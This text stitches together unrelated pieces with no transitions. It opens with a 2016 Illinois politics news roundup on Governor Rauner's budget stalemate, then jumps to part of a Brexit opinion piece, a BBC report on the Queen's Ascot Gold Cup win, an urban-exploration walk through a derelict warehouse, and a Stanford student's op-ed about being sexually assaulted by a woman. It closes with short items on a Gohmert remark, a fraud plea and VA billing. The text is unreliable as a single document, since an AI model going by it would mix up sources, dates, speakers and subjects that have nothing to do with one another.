Cuts twice as large -- “Financial watchers warn that what Rauner views as short-term pain could have lasting effects beyond the undesirable political situation. The governor is likely to unveil his second budget proposal next month without having passed his first spending plan. ‘The state is incurring obligations in health care, mental services and other programs. It will have to honor those expenses and right now doesn’t have to the revenue to pay for them,’ said Laurence Msall, president of the Civic Federation, a nonpartisan budget watchdog. ‘That means eventually the cuts are going to be twice as large or the tax increase is going to be twice as large. A lot of damage has been done.’” http://trib.in/1nermSY
DAILY HERALD -- “After one year, Rauner sounds familiar tune,” by Mike Riopell: “Gov. Bruce Rauner is marking his anniversary in office Tuesday by echoing some of the themes that got him into office, saying both that he's ready to compromise and criticizing what he called the ‘stunning failure’ of state lawmakers as a historic budget stalemate drags through a seventh month. 'We aren't doing our duty if we don't come together and get bipartisan compromise and get a balanced budget. We're failing,' Rauner said Monday. 'The General Assembly, stunning failure.' ... Lawmakers aren't set to meet much until after the March 15 primary election, and the Illinois House isn't scheduled to be at the Capitol until Rauner’s State of the State Address at the end of the month. http://bit.ly/1RI9ACO
HONEYMOON IS OVER -- “Rauner’s business pals are turning sour on him,” by Crain's Greg Hinz: “Rauner, the most conservative person to occupy the governor's mansion since the Eisenhower administration, might want to keep an eye on his own back, because signs are increasing that his honeymoon with the state's business community is ending. Rauner insists that enacting his turnaround agenda is not about politics but a path to giving the state's economy a sorely needed boost. But the cost of the stalemate is leaving a mark on corporate types, who at heart are conservative bean-counters. Most of the grumbling—and there's a lot of it—comes from those who need to get along with both sides and don't want to be named." http://bit.ly/1Q1egne
WHO IL DELEGATION IS BRINGING TO SOTU SPEECH -- “Congress, first lady inviting special guests to State of the Union speech,” by Chicago Tribune's Katherine Skiba: “Heroin, cocaine and alcohol abuse were Tim Ryan's tickets to hell — with periodic detours to prison. On Tuesday, the 47-year-old Naperville man will attend President Barack Obama's final State of the Union speech. Ryan will be House Democrat Bill Foster's guest. Ryan said he hit bottom when his 20-year-old son, Nick, from Aurora, died of a heroin overdose in August 2014. Ryan and his son had used the drug together. Sober for three years, Tim Ryan is now Midwest outreach director for the Banyan Treatment Center, which has a facility in Naperville.” http://bit.ly/1N3JaVE
BIG ENOUGH ROOM? -- U.S. Rep. Danny Davis’ guest will be Chicago attorney Andrea Zopp, who also happens to be running against U.S. Rep. Tammy Duckworth in the U.S. Senate Democratic primary.
DUCKWORTH RAISED NEARLY $5M IN 2015 -- From the Duckworth campaign: “For the third consecutive quarter since entering the race, Democratic candidate for U.S. Senate Tammy Duckworth increased her fundraising haul and brought in thousands of new grassroots individual donors, raising $1.6 million in the fourth quarter of 2015. The campaign received over 20,800 individual contributions this quarter, the median amount of which was just $20. Duckworth announced her campaign for Senate at the end of March, and thus far has raised more than $4.7 million this cycle. The campaign has $3.65 million on hand.”
EITHER WAY, SEAN PENN WINS -- “Chicago, Brooklyn seen leading race for possible ‘El Chapo’ trial,” by Reuters’ Tracy Rucinski: “Chicago and Brooklyn, New York are leading contenders to host the first U.S. trial of drug lord Joaquin ‘El Chapo’ Guzman Loera if he is extradited from Mexico, say former U.S. law enforcement officials, as several jurisdictions vie for what would be one of the most high profile U.S. criminal trials in years. The trial venue, which will ultimately be decided by the U.S. attorney general, currently Loretta Lynch, is important because it will determine the specific charges that Guzman faces and the strength of the case against the world’s top drug lord. Mexico recaptured Guzman in a pre-dawn shootout on Friday, and Mexican officials have indicated they are willing to comply with a U.S. request for his extradition.” http://reut.rs/1RiZKbZ
HOW SEAN PENN ROCKED ROLLING STONE -- “How Rolling Stone Handled Ramifications of El Chapo Exclusive,” by NYTimes’ Ravi Somaiya: “Several months ago, Jann Wenner, a founder of Rolling Stone magazine, received a call from the actor Sean Penn. Mr. Penn … wanted to discuss something important. But he did not want to speak openly over the phone, so the two began to speak elliptically about a potential project. That vague conversation was the beginning of what eventually became an article, written by Mr. Penn, that rocked both Mexico and the United States when it was published Saturday night. It was an exclusive interview with Joaquín Guzmán Loera, the notorious drug kingpin known as El Chapo, that was conducted while Mr. Guzmán was on the run from the authorities after an audacious escape from a Mexican prison last year.” http://nyti.ms/1N3KwQn
KIM FOXX SNAGS EVANSTON -- “DPOE Endorses Candidates for the Primaries,” Evanston Roundtable: “The Democratic Party of Evanston held its 2016 Endorsement Meeting on Sunday. DPOE members cast ballots for their preferred candidates for the March 15 Democratic Primary … Evanston Township Committeeman Eamon Kelly: 'Our grassroots members are especially excited about local candidates like Kim Foxx who are going to bring real reform to our communities.' Foxx received overwhelming support from the group with 90 percent of the ballots cast in her favor.” http://bit.ly/1l1BrRr
STICKER GRACE PERIOD -- “Lawmaker: Give drivers 30-day grace period on buying state vehicle sticker," by Chicago Tribune's Celeste Bott: "Illinois vehicle owners would get a 30-day grace period to renew their registration without fines or tickets under new legislation introduced in the House. The measure is aimed at giving drivers some relief after Illinois Secretary of State Jesse White's office stopped mailing renewal reminder notices in September.” http://trib.in/1UKnW4V
KEEP THE LIGHTS ON -- “Springfield May Ask Illinois to Pay $9M in Utility Bills,” NBC Chicago: “The city of Springfield may formally ask the state of Illinois to start paying its utility bills. The State Journal-Register reports the City Council next week plans to consider a resolution requesting Gov. Bruce Rauner and lawmakers designate utilities an ‘essential service.’ The state owes City Water, Light and Power more than $9 million, including overdue bills totaling more than $6 million ... The hold up in payment is tied to the budget stalemate in Springfield.” http://bit.ly/1SKR79A
JUDGE GREENLIGHTS CITY SPYING LAWSUIT -- “Chicago cops lose bid to toss lawsuit over secret cell-phone tracking,” by Chicago Sun-Times’ Frank Main: “A Cook County judge on Monday denied the Chicago Police Department’s request to dismiss a lawsuit seeking records that could show whether the police have used secret cellular tracking systems to spy on political protesters as well as criminals.”
Partial disclosure: “Last year, the department responded to a Freedom of Information lawsuit by disclosing the city spent more than $340,000 between 2005 and 2010 on cell-site simulators, … But the city balked at providing records describing how they’re used. On Monday, Judge Kathleen Kennedy said she didn’t accept most of the police department’s arguments asking her to withhold additional records.” http://bit.ly/1mRtOOR
DETAILS ON INTERIOR ‘NOT KNOWN’ -- “Ken Griffin sells Waldorf Astoria condo for $16 million,” by Chicago Tribune's Bob Goldsborough: "Citadel founder Ken Griffin, the billionaire hedge fund manager who is Illinois' richest man, on Dec. 11 sold one of his two full-floor condominium units in the Waldorf Astoria for $16 million … Records show that in July 2014, a Delaware limited liability company owned by Griffin paid $16 million for it…. Griffin did not publicly list the unit in the real estate multiple listing service, so details on its interior are not known.” http://trib.in/1ZheAim
STAMP FRESH OUT OF RUBBER -- "As Emanuel fights for political life, aldermen show independence," by Chicago Sun-Times' Fran Spielman: "Chicago aldermen emboldened by a once-powerful but now wounded Mayor Rahm Emanuel on Monday questioned just about everything on the agenda of the City Council’s Finance Committee. Routine matters that once sailed through without a whimper were placed under the microscope — and it wasn’t limited to the protracted debate over Emanuel’s plan to borrow a record $3 billion.” http://bit.ly/1N3JnrY
OH THE IMAGERY -- “The schools are pawns in Rahm and Rauner’s game,” by Chicago Reader’s Ben Joravsky: “As the Chicago's Public School system heads towards teacher layoffs and a possible strike, Governor Rauner flew home from his vacation in the Moroccan desert to continue his fight with Mayor Emanuel. A fight that no one—as far as I can tell—believes is real. Rauner told reporters that he spent two wonderful weeks in Spain and Morocco, where he rode a camel, slept in a tent, ate exotic foods, and urinated on his hands to toughen his calluses. Wait! It was Moises Alou, former Cubs outfielder, who urinated on his hands. Though it sounds like the sort of thing a macho billionaire, like Rauner, might do to fortify himself for another round of snatching money from autism patients. Fired up from the camels and the tents, Rauner called Rahm ‘tone deaf’ for resisting investigations into the police and law departments.’” http://bit.ly/1JGxA8b
EATERY IGNITES SOCIAL MEDIA WITH ‘I CAN BREATHE’ SHIRT -- “Sandwich Shop Owner’s 'I Can Breathe' Shirt, Alpana Singh Looking in Evanston, More Intel," by Chicago Eater's Daniel Gerzina: "The owner of Andersonville sandwich shop Piatto Pronto is under fire for wearing a T-shirt with the phrase ‘I Can Breathe, I Obey the Law,’ which apparently references the NYPD chokehold killing of Eric Garner, Chicagoist reports. Mike, the owner, vehemently apologized, says he ‘wasn't thinking’ about Garner and says he is black, but that hasn't stopped the outrage on social media." http://bit.ly/1SeJ8C8
Valerie Jarrett says Laquan McDonald video ‘like a hot poker in my stomach.” Chicagoist: http://bit.ly/1SL6w9R
COSTELLO, LIPINSKI SKIRT LOBBYING RULES, CASH IN -- “Ex-Congressmen work as ‘consultants’ for special interests,’ by Chuck Neubauer & Sandy Bergo for the Better Government Association: “Two weeks after retiring from Congress in 2013, ex-U.S. Rep. Jerry Costello (D-Ill.) started collecting a $15,000 monthly check from a federal employee labor union that received critical help from him as a legislator. Under congressional ‘revolving door’ rules, Costello would have to wait a year before signing on with the union, or anybody else, to lobby his former colleagues. But because Costello was paid for ‘political consulting’ by the union, he was able to begin collecting checks immediately.”
-- Former U.S. Rep. Bill Lipinski (D-Ill.), who retired from Congress in 2005, and former U.S. Sen. Evan Bayh (D-Ind.), who left the Senate in 2011, also began working as advisers to special interests within months of leaving Capitol Hill. While they’re legally permitted, consultant arrangements run counter to the spirit of federal law that sheds light on government influence and restricts when someone leaving Congress can become a congressional lobbyist, critics say. Designation means they don’t have to register as lobbyists, publicly disclose clients or adhere to revolving-door limits.” http://bit.ly/1RGYM7Q
FREEING OF INFORMATION -- SPJ: “The Society of Professional Journalists joins other members of the Sunshine in Government Initiative in applauding the U.S. House of Representatives for approving the ‘FOIA Oversight and Implementation Act of 2015’ (H.R. 653) ...‘This legislation helps journalists and other citizens better access their government’ … said SPJ National President Paul Fletcher. ‘Congress doesn’t approve FOIA fixes very often, so getting this legislation through the Senate and signed into law would be a big win for transparency and helping the American people obtain the information they are entitled to see.’” http://bit.ly/1OYhCZl
EXPOSURE VICTIM -- “90-Year-Old Woman Found Dead Outside Her South Side Home,” by CBS Chicago’s Steve Miller: “A 90-year-old South Side woman has been found dead outside her home – apparently a victim of the extreme cold. 90-year-old Nellie Gordon had Alzheimer’s Disease, says her daughter Joyce Thurmon Smith. Smith says that some time overnight, her mother wandered outside her home at 91st and Michigan, ‘and she succumbed to the weather.’ The temperatures overnight hovered around zero.” http://cbsloc.al/1OnnqpF
COAL PLANT BANKRUPTCY -- “Arch Coal, owner of Viper Mine, files for bankruptcy protection,” by State Journal-Register’s Tim Landis: “The corporate owner of the Viper Mine near Elkhart has filed for bankruptcy. Arch Coal Inc. of St. Louis announced the voluntary reorganization in a news release early Monday. The filing is part of an agreement with creditors to cut debt by $4.5 billion, according to the announcement … The Viper Mine, which has a portal in northern Sangamon County, has an estimated 340 employees. The company said it reached a deal with its lenders to reduce its debt by more than $4.5 billion. The bankruptcy filing showed debts of $6.5 billion and assets of $5.8 billion.” http://bit.ly/1ZotuZC
FIREFIGHTER INJURIES IN EXTRA-ALARM BLAZE -- ABC7: “Fire crews responded to the two-alarm fire in the 1700-block of West Estes Avenue around 6 a.m. Monday … Officials said one firefighter injured his shoulder after a set of stairs collapsed … Six other firefighters slipped and fell on ice outside the four-story building, officials said. Temperatures hovered around zero degrees in the area early Monday morning … All firefighters were accounted for soon after the call went out. The flames were through the roof around 6:40 a.m. Crews were ordered off the roof in case it collapsed." http://abc7.ws/1IZzqRt
CARDS’ HACKING SCANDAL -- “Cardinals GM confident rest of front office not involved in hacking case,” AP: “St. Louis Cardinals general manager John Mozeliak is confident the rest of the front office was not involved in the Houston Astros hacking case. ‘Yeah, I am,' Mozeliak said Monday. 'But before we totally engage in answering everything we just need these proceedings to be concluded.' Former scouting director Chris Correa pleaded guilty in federal court in Houston on Friday to accessing the Astros player database and email system … Correa was promoted to director of baseball development in St. Louis in 2014 and was fired last summer.” http://bit.ly/1PoDYO2
HOW TO BUILD A “POST-FERGUSON” POLICE STATION: Widespread outrage and protest over recent acts of police violence in the United States have prompted a renewed national conversation on policing reform. WATCH how celebrated Chicago architect, Jeanne Gang, uses design to repair the trust between communities and police in the newest installment of POLITICO Magazine’s “Social City” an original video in the “What Works” series.http://politi.co/1PYqhd7
‘MAY GOD’S LOVE BE WITH YOU’ -- Astronaut Chris Hadfield’s “Space Oddity” performance -- from space -- a fitting tribute to David Bowie: http://slate.me/1P5MTmU
WHERE’S RAHM? Takes part in monthly Public Building Commission board meeting.
WHERE’S RAUNER? No public events.
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Having agreed an EU budget which stretched until 2020 it was right to fund these programmes until the end of that period – which after all is only a year after our departure. Thereafter there will be ongoing pension obligations, but a fraction of what we would otherwise be on the hook for. The government’s offer is a mark of serious intent, proof that we want constructive and co-operative relations as we start to discuss the terms of a free trade deal. The money, which will be payable over many years, is still a saving when compared to the ever-rising sums which we would be required to pay had we decided to remain in the bloc.
Brexit was never about cash: polls show that most people who voted leave did actually think that it would be a costly, painful process. They also thought it would be, on balance, worth it.
By the time we leave we will have regained our freedom to make our own trade deals with outside countries. Providing that we use that freedom and build new export industries without compromising our existing EU trade we should be able to grow the economy in such a way as to make the leaving bill seem good value.
Of course, there are still hurdles to overcome. As has been made clear on both sides, nothing is agreed until everything is agreed. The EU has yet to accept the government’s offer, and assuming trade talks do start in January, we can still expect months of bluster. The EU is likely to want to try to exclude financial services from a trade deal and we must ensure that they are included. But at least talks should now be able to start in a constructive manner. Now we have put money on the table, the EU’s negotiating team knows what it would lose if it were to collapse the talks through sheet obstinacy. From now on every member state knows that a failure to keep Britain at the negotiating table will mean cancelled projects – or higher contributions from their own coffers.
There is also the issue of the Irish border to resolve. As David Trimble explains in the forthcoming Spectator, it is an issue which has flared up thanks as much to the internal politics of the Irish Republic as to the practical workings of the EU. It should not be impossible to come up with an arrangement which keeps traffic flowing freely across the border while police and customs officials continue to work – as they already do – to enforce the different fiscal and regulatory regimes which exist in Ireland and the UK.
So long as the government is able firmly to rebut the inevitable charges of a sell-out it should now emerge from a troubled few weeks in better shape. Until last week, some believed that the Budget would deliver the coup-de-grace to the government. Yet, in a rarity for a modern Budget, there has been no unravelling. There was little to inspire, but little to trip up the government either. Theresa May, may yet end the year having successfully delivered a budget and negotiated the biggest hurdle on the Brexit talks. If she can do that, she’ll be in the best position she’s been in since the election so weakened her.
This week we have had the fuss over the publication of the Brexit impact assessments, of which edited versions have been handed to the select committee on exiting the EU. Whatever information in contained within the parts which have been edited out – and there are perfectly good reasons for withholding some material which might compromise the negotiations in Brussels – there is an obvious question to be asked: just how much use are the assessments anyway? We know how laughably bad economic forecasts have proved to be in the past, none more so than the gruesome assessment published by George Osborne a month before the 2016 referendum.
Dates: Tuesday 18 to Saturday 22 June Coverage: Major races on BBC 5 Radio live; Saturday Sport on 5 from Ascot Website: BBC Sport online daily live text commentaries, results, reports, features
The Queen's horse Estimate claimed victory in Royal Ascot's Gold Cup - the first time in the race's 207-year history that it has been won by a reigning monarch.
The Sir Michael Stoute-trained four-year-old filly held off the challenge of Simenon over the final furlong.
Estimate won the Queen's Vase at Royal Ascot in 2012, before winning the Sagaro Stakes at Ascot in May.
The Queen at Royal Ascot Total number of winners: 22 First victory: Choir Boy (1953 Royal Hunt Cup) Most recent winners: Free Agent (2008 Chesham Stakes), Blueprint (1999 Duke of Edinburgh Stakes) 2012 runners: Carlton House (2nd, Prince of Wales's Stakes), Momentary (12th, Ribblesdale Stakes) Estimate (1st, Queen's Vase)
Earlier, Riposte ran to an emotional victory in the Ribblesdale Stakes.
The first of the Queen's 21 Ascot winners came just two weeks after her coronation with Choir Boy in the 1953 Hunt Cup.
Peter Phillips, the Queen's grandson, told Channel 4: "It's amazing, this is her passion and her life and she's here every year and she strives to have winners.
"To win the big one at Royal Ascot means so much to her. Everyone is just thrilled, it's very close to her heart and today is very special."
Estimate did not get it all her own way, passing the grandstand for the first time it was Earl of Tinsdal who led with Estimate holding in the middle of the field in fifth.
With five furlongs to go the 7-2 favourite still sat in fourth, just behind El Salvador but when Colour Vision made his move with less than three to go Estimate was ready and pulled to her left, arguably causing interference to both the placed horses.
Analysis Even the losers were smiling as Royal Ascot saluted a historic victory - and the Queen was beaming herself as she patted Estimate in the winner's enclosure. She had enjoyed 21 victories as an owner at the famous fixture before, but never the Gold Cup, the feature race on Ladies' Day. The Queen traditionally presents the Gold Cup to the winning owner, but she finally received the trophy herself this time - from her son, the Duke of York. Victory came within 45 minutes of a poignant triumph by Riposte, for legendary trainer Sir Henry Cecil's widow Lady Cecil, and made this a memorable afternoon.
Estimate jockey Ryan Moore said: "All we had was this race in mind - it's great to ride any winner for the Queen but to do it in the Gold Cup is very special.
"We had a good draw and the pace wasn't mad at the beginning, she relaxed so well over the final furlongs."
It was a brave race by former Gold Cup winner Colour Vision but his defence was undone as Estimate hunted down the leader in the last furlong. Simenon gave chase but was always half a stride off the Queen's colours.
Saddlers Rock was third in this race in 2012 but trailed late on and fell away.
Estimate trainer Stoute said: "I really felt it was a tough task, I wasn't confident at all with her taking on the boys. It's a great honour to win for Her Majesty the Queen.
"Her preparation had gone well and she was bred to have a big chance of getting the trip but she had to step up to beat these boys.
"It's a special thrill for the Queen. She said it gave her great pleasure and she thanked everyone involved."
After the race a stewards' inquiry was launched into Estimate's manoeuvres over the closing stages. The placings were to remain unaffected, but her jockey Ryan Moore has been banned for two days for an accidental drift into another horse. Mickael Barzalona, on third-placed Top Trip, was banned for three days for a deliberate illegal move.
ROYAL ASCOT TRAINERS & JOCKEYS LEADERBOARD TRAINERS JOCKEYS Aidan O'Brien - 3 James Doyle - 3 George Baker - 1 Johnny Murtagh - 2 Jim Bolger - 1 Joseph O'Brian - 2 Clive Brittain -1 Fran Berry - 1 Roger Charlton -1 Seamie Heffernan - 1 Eddie Lynam -1 Richard Kingscote - 1 Jonjo O'Neill - 1 Wayne Lordan - 1 Jonathan Portman - 1 Kevin Manning - 1 Olly Stevens - 1 Joel Rosario - 1 David Wachman - 1 Tom Queally - 1 Wesley Ward - 1 Ryan Moore - 1 Sir Michael Stoute - 1 William Buick - 1 John Gosden - 1 WJ Lee - 1 Joanna Morgan - 1 Martin Harley - 1 Mick Channon - 1 Lady Cecil - 1
In the Ribblesdale Stakes pre-race favourites Alive Alive Oh and The Lark were non-runners, leaving Riposte to take an emotional victory for Lady Cecil, the widow of Royal Ascot's leading all-time trainer Sir Henry Cecil, who died nine days ago.
Riposte trainer Lady Cecil said: "We hardly dared dream that we would have a winner, but Henry would be relishing this because he loved Ascot.
"As you can imagine it's been a tough, tough week for everyone at Warren Place. But I'm sure Henry is looking down on us today."
Earlier, leading juveniles contested the opening race - the Norfolk Stakes - as American horse No Nay Never ridden by Joel Rosario saw off 9-4 favourite Coach House in second and Wind Fire in third.
In the final race of the day the King George V, the Queen could have doubled her victories with 7-2 favourite Bold Sniper.
The three-year-old bay colt, who won last time out at Leicester, left it late and was pushed out wide with two furlongs to go. Jockey Ryan Moore continued to push and gave everything to the line but Elidor did just enough to take the win from Space Ship and Bold Sniper.
You’ve only known these doors to be shut tight with only a small gap at the edge allowing a peek in to the darkness. Surprised to see the large double wooden doors open wide, you take the opportunity to satisfy a curiosity.
Just inside the doors, you are in a loading bay. The potential for exploration lies in darkness on either side of the 18th Century warehouse , but that will have to wait as the scale of the joining warehouse range fills your eyes and pulls you through.
You’re in a larger, later structure save one side that is comprised of an 18th Century wall, partially covered with creeping foliage. The space is vast and has a surprising amount of natural, filtered light coming from above through breaks in the roofing and skylights. Raindrops fall through too, and are gently tapping the leaves.
Pigeons scatter.
The nature of the substance that crunches underfoot suddenly becomes apparent. This is one big untouched safe-haven for pigeons. No vandalism, no graffiti and just one solitary desk sitting to the left the only obvious modern relic.
Behind the desk is another beckoning abyss; a square archway leading in to a dark annex that seems to have once been a storeroom but it leads no where. More pigeons are disturbed and you’re currently somewhere behind the former Bradley’s Wine Bar and Restaurant building, which is adjacent to the main warehouse.
Back out in to the light, another space is visible through a large square opening to the left. This is the last of the three structures and opens out in to another large warehouse space. One of the walls consists of 16 metres of the original 16th Century walling. Beyond this is Hampton Court. The adjacent wall has a small doorway which leads into a garden of a Nelson Street property.
You retrace your steps through the warehouse range, stepping over dead pigeons at various stages of decay, looking up at the creepers and vines that hang from roof to floor as you reach the loading bay. The ground floor to your right seems to be an office consisting of a desk and a broken window that looks out on to the loading bay. The open drawer is full of twigs and feathers – it’s a nest. There are wooden steps that lead to the first floor where there is an old leather sofa currently providing soft bed for pigeon eggs. Finding no more stairs on this side of the building, you head back down and cross the loading bay to the opposite side.
It’s dark but by using the light from an inadequate torch you can see the ground is littered with loose bricks. A doorway leads in to a partition that contains a vintage oven. The grill compartment is open and houses another nest. You tentatively pull at the main oven door to see what horror movie trope is hiding inside – it’s the anti-climax. Not even a pigeon. You leave the kitchen and climb the stairs, torch in hand. More pigeons are disturbed in the dark.
On this floor, there is a cage containing fire safety equipment and not much else besides an old cabinet perched in an alcove. The loading bay is visible from here as the first floor is only walled on three sides. The light from the main door reveals a small wooden ladder, flat against the wall directly above the steps. You test it by pulling on it firmly. One side is not as solid as the other but you’re confident it will hold. Somebody knows you’re here, right?
As you ascend, you glance across the loading bay in to the larger warehouse range before plunging your head in to the darkness. The air is still, stale warm and silent aside from gentle cooing. This floor stretches the entire width of the warehouse and is empty, save from an enclosed shaft in the middle which sits directly above the loading bay . The only light comes from small gaps in the window shutters and you can see another staircase leads upwards.
You’re in the dormer attic now – it has the same layout as the floor below. You can hear the wind blowing from the Ouse and a pigeon flaps close by. Before you can check if the floor is empty, your torch flickers and fails.
don’t forget to check out the photobooks available in the shop
From Historic England’s website entry on the warehouse:
Known as Edward Bagge’s warehouse in 1842 and on land owned by the Bagg family since 1766. Behind this new front (i.e. to the east side) were two warehouse ranges running towards Nelson Street, amalgamated into one in 1927, and all demolished 1966. Sixteen metres of original walling survives forming south boundary of the garden behind Hampton Court warehouse (W) range: tall, C16, brick, much patched, and with one blocked 2-light mullioned window.
I arrived at a party with a group of friends and struck up a conversation with a girl. We both were a bit drunk, but not to any dangerous levels, and slowly moved our conversation to the dance floor. We started dancing, then making out, then before I knew it, her hand was down my pants. I was surprised, as I hadn’t given her consent to take things a step farther, but I was nevertheless okay with it. Time passed with us together on the dance floor until she began whispering in my ear that she wanted to have sex. While I was enjoying myself, sex was not on the agenda for the night. I took a step back and realized that her friends were gone and she was seemingly alone at this party with me. Even though I didn’t want to end the night in her bed, since she was drunk, I felt I should help her make it back to her dorm.
We started walking home together, but our walk was prolonged by frequent stop-offs. We’d take a few steps holding hands, then take a moment to move off the path and make out with each other for a bit. After a while, these stop-offs became less of a mutual decision and more of a demand from her. I began denying her advances; it was late and I just wanted to get her home safely so I could get some sleep. She continued to engage with me and I denied her requests with a verbal “no” several times. After several failed attempts to push off her advances, we got to the point where I was trading kisses and gropes for steps back to her dorm. Several times her hands went down my pants, and I was not okay with it. I did my best to stick to my “no” every time she demanded more, but at each denial she would stop dead in her tracks and refused to walk with me unless I complied. I felt stuck. Dragging her back to her dorm with her fighting against me simply didn’t feel right. Physically fighting her struggle was not the safest means to that end. But, it didn’t feel right to abandon her there either. She was drunk and could not be left alone in the state she was in. So I felt I had only one option: I complied.
When I got back to my dorm at 2:30 that night, I was confused. Didn’t I go out wanting to engage in sexual contact? Shouldn’t I feel proud and confident that someone wanted me? As a man, shouldn’t I always want sex? This had been what I wanted for so long, but once it was in front of me, it simply didn’t feel right.
I don’t fault her for my change of heart; I fault her for not listening to my clear “no” several times after I made my final decision. Was the situation handled perfectly? No. I was confused, horny and intoxicated. I wasn’t properly educated to even understand that this experience would qualify as sexual assault. But even with all of these things in play, the fact of the matter is that my “no” was not respected. Sure, she didn’t use force, but what was I supposed to do?
About eight months had passed since my assault before I even considered the gravity of what happened that night. I relayed the experience to a few friends and at first, we nervously laughed about it. It all just seemed like a joke. Trading kisses and gropes for steps back toward her dorm? The whole situation seemed laughable, all centering on the inconceivable image of a horny college male denying a female’s sexual advances.
In June, I started asking why the events happened even though I said no. It didn’t seem like sexual assault. I wasn’t physically beaten or forced to engage with her. This wasn’t some traumatic event that threw me into a deep depression.
But Stanford’s current definition of sexual assault states, “Sexual assault is the actual, attempted or threatened unwanted sexual act, whether by an acquaintance or by a stranger, accomplished against a person’s will by means of force (express or implied), violence, duress, menace, fear or fraud. If coercion, intimidation, threats and/or physical force are used, there is no consent.”
Actual unwanted sexual act? Check. Coercion? Check. There was no consent. However, this still wasn’t enough for me.
After I returned to campus for my senior year in September, I began the process of reaching out to the Sexual Assault and Relationship Abuse (SARA) Office on campus. When they were unable to meet immediately, I attempted talking to one of Stanford’s Confidential Sexual Assault Counselors. That position not yet having been set up, the University eventually forwarded me to the YWCA Sexual Assault Center on campus.
I began recounting my experience to the woman on the other line. I told my side of the story and she listened attentively until I ended with the simple question, “Does this qualify as sexual assault?” After a short moment acknowledging the difficulty of all the factors at play, what she said left me flabbergasted.
“You just have to be careful,” she said to me plainly. She began to outline how situations like these are difficult when alcohol is involved, but when I reiterated that I clearly said “no” and felt trapped in the situation she continued to astound me with her suggestions at what I should or could have done. “You could have just left her,” she insisted. “If I were a man in your shoes, I would have definitely called 911.” At this point it was tough to hold back my frustration. I was calling this hotline because I was trying to figure out if what I experienced was sexual assault. How could I have called 911 in the moment if I didn’t even know I was being sexually assaulted?
I continued and began speaking of how I felt my gender could have played a role in the incident and how it was beginning to color our conversation. In response to this she began explicitly insisting that the woman in my case might not even know what happened that night and could accuse me of sexual assault. I had gone from possible victim to possible attacker in this woman’s eyes. Not having received the counseling I sought, I quickly ended the conversation. I understand that I didn’t handle things perfectly that night, but not once did this YWCA representative give any ounce of support. She didn’t refer me to any further resources. She never once validated that this was indeed sexual assault. As a man calling into the Young Women’s Christian Association, it’s tough to think that my gender did not play a role in this woman’s response. It was incredibly frustrating that an organization known for warning against victim-blaming in the case of women had no problem jumping straight to this tactic against a male victim when the tables were turned.
A few days after my encounter with the YWCA, I was able to meet with staff at the SARA Office. I explained the same story to the director and feared that I would experience the same victim-blaming that occurred with the YWCA. Instead, she immediately answered my question. Yes, what I described does count as sexual assault.
From there she provided me with a multitude of resources, from Counseling and Psychological Services for psychological help all the way to instructions for entering the judicial review process if I wanted to press charges. My experience with the SARA Office was wholly positive, as the director took the time to see me not as a victim, not as a male, but as a person with a tough question that needed an answer.
While Stanford has a concrete definition of sexual assault, the SARA Office affirmed that before even consulting legal definitions, it is first up to the survivor to define what happened based on how they feel. I personally do not want to press charges; we both strayed blindly into grey areas that night. Luckily, I came out the other side without any traumatic emotional scarring or depression. However, not everyone may be so lucky if put in this situation.
Never once have I called this woman my “attacker” or “assailant” because I didn’t emotionally respond as though it were an attack or an assault. To me, she’s just a student that made a mistake. However, she does deserve to know that what she did is defined as sexual assault.
What she does not deserve is expulsion. We need to understand that we can’t solve these grey issues with black and white statements and punishments.
By demanding a “strong presumption in favor of expulsion” through last quarter’s ASSU Task Force Proposal, we begin to force the hand of the administration in cases where they should instead be using a discerning eye. Under the proposal, the only mitigating factor that can be brought forth to fight expulsion is the presence of a “pertinent, acute mental illness.” Mistaken consent, cooperation with the judicial review process and evidence of a lack of malicious intent are all outlined as factors that are inadequate to bring forth an argument against expulsion. It is completely understandable why the ASSU would deem these as inappropriate, but in practice this results in harsh punishments that fail to account for the differing degrees of sexual misconduct and rape.
In my case, I don’t believe she had any especially malicious intent during the incident and her presence on campus does not present any imminent danger to me. Despite these factors, under the above policies, she would still fall under the category of recommendation for expulsion. She deserves to be educated about her mistakes, but this education remains unavailable to her as a result of the punitive approach proposed by the ASSU. The burden of providing her with this education should not fall onto me simply because I disagree with the recommendation for such a harsh punishment. There is definitely a time and place where expulsion is necessary and we need to ensure that the University is able to apply it to keep students safe. However, in cases where education is all that is necessary to ensure a safe learning environment, overreactions like expulsion begin to look less as a decision to ensure student safety but more as an attempt to deliver retribution for emotional distress, which should never be the goal of punishments.
We need to create a better space where everyone can speak constructively about this issue, as this can happen to anyone. Yes, sexual assault happens significantly more often to women than men; however, when we gender these conversations, it marginalizes the already silent population of male victims even further. It reinforces the idea that as a man, you won’t be assaulted. Therefore, when it happens it’s seen as a joke or an issue raising questions surrounding the man’s sexuality instead of his assault. Stripping gender from these conversations is necessary to constructive conversation because its presence provides no benefit outside of reinforcing a statistical fact that we all should already understand. Gendering these conversations often leads to victim-blaming of women and the demonization of men, which simply divides us on an issue we already stand hand-in-hand against.
Ensuring safety for everyone is our priority when fighting sexual assault, and it’s important to remember that while we may disagree on the path, we’re all envisioning the same goal. I’m extremely excited that we continue to hear from voices that have been previously marginalized and silenced when these issues arise. However, we need to ensure that we do not marginalize and silence those that may be fighting alongside us in the process.
“You don't make fun of people who are impaired, have special needs," Gohmert said during his speech at the Values Voter Summit in Washington.
ADVERTISEMENT "And whether you like her or not, Hillary Clinton has made clear she is mentally impaired. This is not somebody you should be making fun of," Gohmert continued, to laughs from the crowd. "I get the impression that in law school and along the way she's been very, very smart. But I don't know, maybe it was the concussion. ... They won't tell us what really is going on with her."
The U.S. attorney's office says 34-year-old Mario Antoine, of Raymore, pleaded guilty to one wire fraud count and will be sentenced to 10 years in prison under the terms of the deal he agreed to Friday. He also will be required to pay restitution to his victims. Formal sentencing is set for Sept. 13.
Prosecutors said Antoine created online aliases as a talent manager, photographer and videographer and claimed to work for fictitious companies in the pornography industry. Investigators say he promised to pay the women thousands of dollars.
Recently, members of Congress were notified that the VA discovered unbilled copay amounts for inpatient care provided to veterans over a five-year period. Veterans were going to be assessed copays ranging from $1,000 to $3,000 because the VA erred in not charging them at the time of the care.
Veterans in Minnesota and Wisconsin were to be affected, prompting members of Minnesota’s and Wisconsin’s congressional delegations to sign a letter to VA Secretary Bob McDonald asking to delay attempting to collect the payments from the vets, many of whom are on fixed incomes and might not be able to pay.
“Our veterans sought care at the Veterans Affairs Medical Center in good faith and should not be suddenly saddled with thousands of dollars in bills years later due to the VA’s inability to properly track, record, and bill for services,” the letter said.
The VA responded in July, apologizing for the episode and assuring that it would “develop stronger internal controls to mitigate risks of this from occurring in the future.”
